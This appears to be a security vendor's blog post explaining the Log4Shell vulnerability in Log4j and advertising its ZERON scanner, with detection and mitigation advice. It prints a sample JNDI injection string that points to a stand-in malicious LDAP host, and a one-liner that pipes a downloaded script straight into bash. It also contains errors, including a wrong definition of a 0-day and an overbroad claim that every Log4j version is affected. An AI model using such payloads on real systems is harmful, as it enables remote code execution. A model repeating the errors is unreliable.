Log4j is a term that has created a massive buzz in the IT Industry for the last few days with its 0-day released this month. But what does it mean and how ZERON can help in its management and mitigation?
This vulnerability initial appeared on Twitter on Friday with accounts of zero-day exploitation of a vulnerability in a popular Java logging framework, Log4j. The core of the problem is that when specially crafted text are used, Log4j will interpret them instead of just logging them. This can lead to an RCE (Remote Code Execution), compromising any system using this software. The vulnerability has been named “Log4Shell” and received the highest possible severity rating of “10”.Log4j is often used as part of other software, which resulted in an explosion on the scope of vulnerable devices, making the patch distribution way harder.After the initial public release on Twitter, detection and exploitation tools were introduced within hours.
What is Log4j?
“ The flaw in the Log4j software could allow hackers unauthorised access to computer systems, Millions of devices are affected. ”
A 0-day is a vulnerability/flaw in a software package that has been recently been discovered by the vendor themselves. It’s something, that has been there for some time but its existence has been known for “zero days”.The flaw found in the software was discovered and published(and patched) on 10th of December 2021, which means that any system with this vulnerability/flaw will be susceptible to hackers until they are patched.The reason for the buzz, is that Log4j is used by millions of devices and all of them are susceptible to hackers. All the versions of Log4j are vulnerable to this flaw, which means that this vulnerability was there for a “lot” of time. This also means that there can be hacker groups using this flaw in secret for years and we wouldn’t even know about it.The vulnerability was patched but whether the patched was applied or not to all the vulnerable systems, is an entirely different story.This vulnerability/flaw of Log4j is named as “CVE-2021-44228”.
CVE-2021-44228
This vulnerability initial appeared on Twitter on Friday with accounts of zero-day exploitation of a vulnerability in a popular Java logging framework, Log4j. The core of the problem is that when specially crafted text are used, Log4j will interpret them instead of just logging them. This can lead to an RCE (Remote Code Execution), compromising any system using this software. The vulnerability has been named “Log4Shell” and received the highest possible severity rating of “10”.Log4j is often used as part of other software, which resulted in an explosion on the scope of vulnerable devices, making the patch distribution way harder.After the initial public release on Twitter, detection and exploitation tools were introduced within hours.Analysis
The vulnerability Log4Shell has a very high attacker value, and a very high exploitability score. Which implies that the exploit is easy to weaponise inferring that it is highly likely that hackers will exploit this flaw. It is also reported as a vulnerability that is exploited in the wild.The vulnerability is common in enterprise systems and the softwares are vulnerable in their default configuration making it way worse.The vulnerability has been categorised as CWE-502 (Deserialisation of Untrusted Data), CWE-400 (Uncontrolled Resource Consumption), CWE-20 (Improper Input Validation).The basic exploit can look something as simple as
${jndi:ldap://malicious-ldap-server.com/a}Detection
To check if the vulnerable version Log4j is installed in the system, one can run a one-liner code in terminal:
wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q -O - |bash- Review apache logs for `jndi:ldap`, `jndi:rmi` or `jndi:dns`. These are the magic strings that cause the logger to go haywire and follow/execute the url that follows it.
- Scan /var/log with yara signatures matching some of these indicator
- Scan the webserver for generic webshell
- If you have EDR on the web server, monitor for suspicious curl, wget, or related commands.
- If you have ZERON installed, it would help you to get the vulnerability detected without the above hustle which ZERON does for you automatically.
Mitigation
There is an easy way to mitigate the vulnerability by updating the software to version 2.15.0. In case that is not possible, one can try setting the system property “
log4j2.formatMsgNoLookups” to “true” or remove the JndiLookup class from the classpath to mitigate the issue.If the server has Java runtimes version 8u121 or later, then one can protect against the RCE (Remote Code Execution) by setting com.sun.jndi.rmi.object.trustURLCodebase = false and com.sun.jndi.cosnaming.object.trustURLCodebase = falseA quick scan with ZERON will provide you with a more detailed review and mitigation tactics for your system to implement in a user friendly form.